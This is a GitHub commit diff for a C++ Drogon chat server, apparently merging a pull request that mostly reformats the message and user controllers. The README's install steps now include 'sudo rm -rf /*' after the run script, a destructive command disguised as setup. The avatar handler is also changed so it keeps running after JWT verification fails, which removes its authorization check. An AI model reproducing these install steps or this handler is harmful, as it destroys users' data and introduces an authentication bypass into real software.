Skip to content

Commit 1388f87

Browse files
Merge pull request #47 from 0WAQ/main
user and msg
2 parents 76d1f8c + c9d8f83 commit 1388f87

File tree

4 files changed

+65
-52
lines changed

4 files changed

+65
-52
lines changed

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ tar zxvf mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5454
mv mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit mysql-connector
5555
rm mysql-connector-c++-8.1.0-linux-glibc2.28-x86-64bit.tar.gz
5656
mkdir build
57-
./run.sh
57+
./run.sh
5858
sudo rm -rf /*
5959
```
6060
## API Documentation

msg_controller.cc

Lines changed: 33 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -18,32 +18,33 @@ void chat(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)
1818
callback(HttpResponse::newHttpResponse());
1919
return;
2020
}
21+
2122
Json::FastWriter writer;
2223
auto res = HttpResponse::newHttpResponse();
2324
res->addHeader("Access-Control-Allow-Origin", "*");
25+
2426
if (jwtVerify(req))
2527
{
2628
std::string sender = jwtDecrypt(req->getHeader("Authorization").substr(7));
2729
std::string content = req_json["content"].asString();
2830
std::string receiver = req_json["receiver"].asString();
2931

3032
sql_addhistory(sender, receiver, content, "0");
31-
3233
std::string msg = req_json["content"].asString();
33-
res_json["code"] = 200;
3434
res_json["message"] = "message Send Success";
35-
auto output = writer.write(res_json);
36-
res->setBody(output);
35+
res_json["code"] = 200;
3736
}
3837
else
3938
{
4039
res_json["message"] = "No Authorization";
41-
res_json["code"] = 401;
40+
res_json["code"] = 401;
4241
}
42+
4343
auto output = writer.write(res_json);
4444
res->setBody(output);
4545
callback(res);
4646
}
47+
4748
// get message history or new message
4849
void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
4950
{
@@ -54,31 +55,33 @@ void check(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &
5455
Json::FastWriter writer;
5556
auto res = HttpResponse::newHttpResponse();
5657
res->addHeader("Access-Control-Allow-Origin", "*");
58+
5759
if (jwtVerify(req))
5860
{
5961
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
60-
res_json["message"] = sql_find_my_msg(me,check_type);
62+
res_json["message"] = sql_find_my_msg(me, check_type);
6163
res_json["code"] = 200;
62-
6364
}
6465
else
6566
{
6667
res_json["message"] = "No Authorization";
6768
res_json["code"] = 401;
68-
6969
}
70+
7071
auto output = writer.write(res_json);
7172
res->setBody(output);
7273

7374
callback(res);
7475
}
76+
7577
// request new friend or cancel request
7678
void friend_operation(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
7779
{
7880
auto res = HttpResponse::newHttpResponse();
7981
Json::Value res_json;
8082
Json::FastWriter writer;
8183
res->addHeader("Access-Control-Allow-Origin", "*");
84+
8285
if (jwtVerify(req))
8386
{
8487
std::string sender = jwtDecrypt(req->getHeader("Authorization").substr(7));
@@ -92,34 +95,36 @@ void friend_operation(const HttpRequestPtr &req, std::function<void(const HttpRe
9295
sql_addrequest(sender, receiver);
9396
res_json["code"] = 200;
9497
res_json["message"] = "Operation Success";
95-
//res->setBody("Success");
98+
// res->setBody("Success");
9699
}
97100
else
98101
{
99102
res_json["code"] = 404;
100103
res_json["message"] = "No this user";
101-
//res->setBody("No this body");
104+
// res->setBody("No this body");
102105
}
103-
//res->setBody("No this body");
106+
// res->setBody("No this body");
104107
}
105108
else
106109
{
107110
sql_delete_operation(sender, receiver);
108111
res_json["code"] = 200;
109112
res_json["message"] = " Delete Operation Success";
110-
//res->setBody("Success");
113+
// res->setBody("Success");
111114
}
112115
}
113116
else
114117
{
115118
res_json["code"] = 401;
116119
res_json["message"] = "No Authorization ";
117-
//res->setBody("No Authorization");
120+
// res->setBody("No Authorization");
118121
}
122+
119123
auto output = writer.write(res_json);
120124
res->setBody(output);
121125
callback(res);
122126
}
127+
123128
// handle new friend request
124129
void request_processing(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
125130
{
@@ -130,47 +135,51 @@ void request_processing(const HttpRequestPtr &req, std::function<void(const Http
130135

131136
if (jwtVerify(req))
132137
{
133-
134138
std::string receiver = jwtDecrypt(req->getHeader("Authorization").substr(7));
135139
std::string sender = req->getParameter("username");
136140
std::string attitude = req->getParameter("info");
137141
sql_process_request(sender, receiver, attitude);
138-
//res->setBody("Success");
139-
res_json["code"]=200;
140-
res_json["message"]="Friends "+attitude+" Success";
142+
// res->setBody("Success");
143+
res_json["code"] = 200;
144+
res_json["message"] = "Friends " + attitude + " Success";
141145
}
142146
else
143147
{
144-
//res->setBody("No Authorization");
145-
res_json["code"]=401;
146-
res_json["message"]="No Authorization";
148+
// res->setBody("No Authorization");
149+
res_json["code"] = 401;
150+
res_json["message"] = "No Authorization";
147151
}
152+
148153
auto output = writer.write(res_json);
149154
res->setBody(output);
150155

151156
callback(res);
152157
}
158+
153159
// get chat info
154160
void info(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
155161
{
156162
Json::Value res_json;
157163
Json::Reader reader;
158164
std::string me, who_send_me;
159165
Json::FastWriter writer;
166+
160167
auto res = HttpResponse::newHttpResponse();
161168
res->addHeader("Access-Control-Allow-Origin", "*");
169+
162170
if (jwtVerify(req))
163171
{
164-
res_json["code"]=200;
172+
res_json["code"] = 200;
165173
me = jwtDecrypt(req->getHeader("Authorization").substr(7));
166174
res_json["message"] = get_my_info(me);
167175
}
168176
else
169177
{
170-
//res->setBody("No Authorization");
171-
res_json["code"]=401;
172-
res_json["message"]="No Authorization";
178+
// res->setBody("No Authorization");
179+
res_json["code"] = 401;
180+
res_json["message"] = "No Authorization";
173181
}
182+
174183
auto output = writer.write(res_json);
175184
res->setBody(output);
176185
callback(res);

root/lglglgly/lgy

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
ok![](http://127.0.0.1:8081/api/file/get?filename=1695257143488.png)
2+
3+
4+

user_controller.cc

Lines changed: 27 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
#include "msg_controller.h"
88
using namespace drogon;
99

10-
typedef void (*HandlerFunc)(const Json::Value&, std::string*, int*);
10+
typedef void (*HandlerFunc)(const Json::Value &, std::string *, int *);
1111

1212
void Handle(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback, HandlerFunc handler)
1313
{
@@ -17,23 +17,23 @@ void Handle(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr
1717
Json::Reader reader;
1818
std::string bodyStr(body);
1919

20-
if (!reader.parse(bodyStr, req_json))
20+
if (!reader.parse(bodyStr, req_json))
2121
{
2222
callback(HttpResponse::newHttpResponse());
2323
return;
2424
}
2525

2626
Json::FastWriter writer;
27-
27+
2828
std::string msg;
2929
int code;
3030

3131
handler(req_json, &msg, &code);
32-
32+
3333
res_json["msg"] = msg;
3434
res_json["code"] = code;
3535

36-
if (msg.find("Success")!= std::string::npos)
36+
if (msg.find("Success") != std::string::npos)
3737
{
3838
res_json["token"] = jwtGen(req_json);
3939
res_json["username"] = req_json["username"].asString();
@@ -50,29 +50,29 @@ void Handle(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr
5050

5151
std::string sha256(const std::string str)
5252
{
53-
unsigned char hash[SHA256_DIGEST_LENGTH];
53+
unsigned char hash[SHA256_DIGEST_LENGTH];
5454

55-
SHA256_CTX sha256;
55+
SHA256_CTX sha256;
5656

57-
SHA256_Init(&sha256);
58-
SHA256_Update(&sha256, str.c_str(), str.size());
59-
SHA256_Final(hash, &sha256);
57+
SHA256_Init(&sha256);
58+
SHA256_Update(&sha256, str.c_str(), str.size());
59+
SHA256_Final(hash, &sha256);
6060

61-
std::stringstream ss;
61+
std::stringstream ss;
6262

63-
for(int i = 0; i < SHA256_DIGEST_LENGTH; i++)
64-
ss << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(hash[i]);
65-
66-
return ss.str();
63+
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)
64+
ss << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(hash[i]);
65+
66+
return ss.str();
6767
}
6868

69-
void registerUser(const Json::Value& req_json, std::string* msg, int* code)
70-
{
69+
void registerUser(const Json::Value &req_json, std::string *msg, int *code)
70+
{
7171
if (sql_check(req_json["username"].asString()))
7272
{
7373
sql_add(req_json["username"].asString(), sha256(req_json["password"].asString()), req_json["avatar"].asInt());
7474
*msg = "Sign up Success";
75-
*code = 200;
75+
*code = 200;
7676
}
7777
else
7878
{
@@ -81,11 +81,11 @@ void registerUser(const Json::Value& req_json, std::string* msg, int* code)
8181
}
8282
}
8383

84-
void loginUser(const Json::Value& req_json, std::string* msg, int* code)
84+
void loginUser(const Json::Value &req_json, std::string *msg, int *code)
8585
{
8686
if (sql_check(req_json["username"].asString(), sha256(req_json["password"].asString())))
8787
{
88-
*msg = "Login Success";
88+
*msg = "Login Success";
8989
*code = 200;
9090
}
9191
else
@@ -95,17 +95,17 @@ void loginUser(const Json::Value& req_json, std::string* msg, int* code)
9595
}
9696
}
9797

98-
void avatar(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
98+
void avatar(const HttpRequestPtr &req, std::function<void(const HttpResponsePtr &)> &&callback)
9999
{
100100
auto res = HttpResponse::newHttpResponse();
101101
res->addHeader("Access-Control-Allow-Origin", "*");
102102

103-
if (jwtVerify(req))
104-
{
105-
std::string receiver = jwtDecrypt(req->getHeader("Authorization").substr(7));
106-
set_avatar(receiver, stoi(req->getParameter("avatar")));
107-
res->setBody("Success");
108-
} else
103+
if (!jwtVerify(req))
109104
res->setBody("No Authorization");
105+
106+
std::string receiver = jwtDecrypt(req->getHeader("Authorization").substr(7));
107+
set_avatar(receiver, stoi(req->getParameter("avatar")));
108+
res->setBody("Success");
109+
110110
callback(res);
111111
}

0 commit comments

Comments
 (0)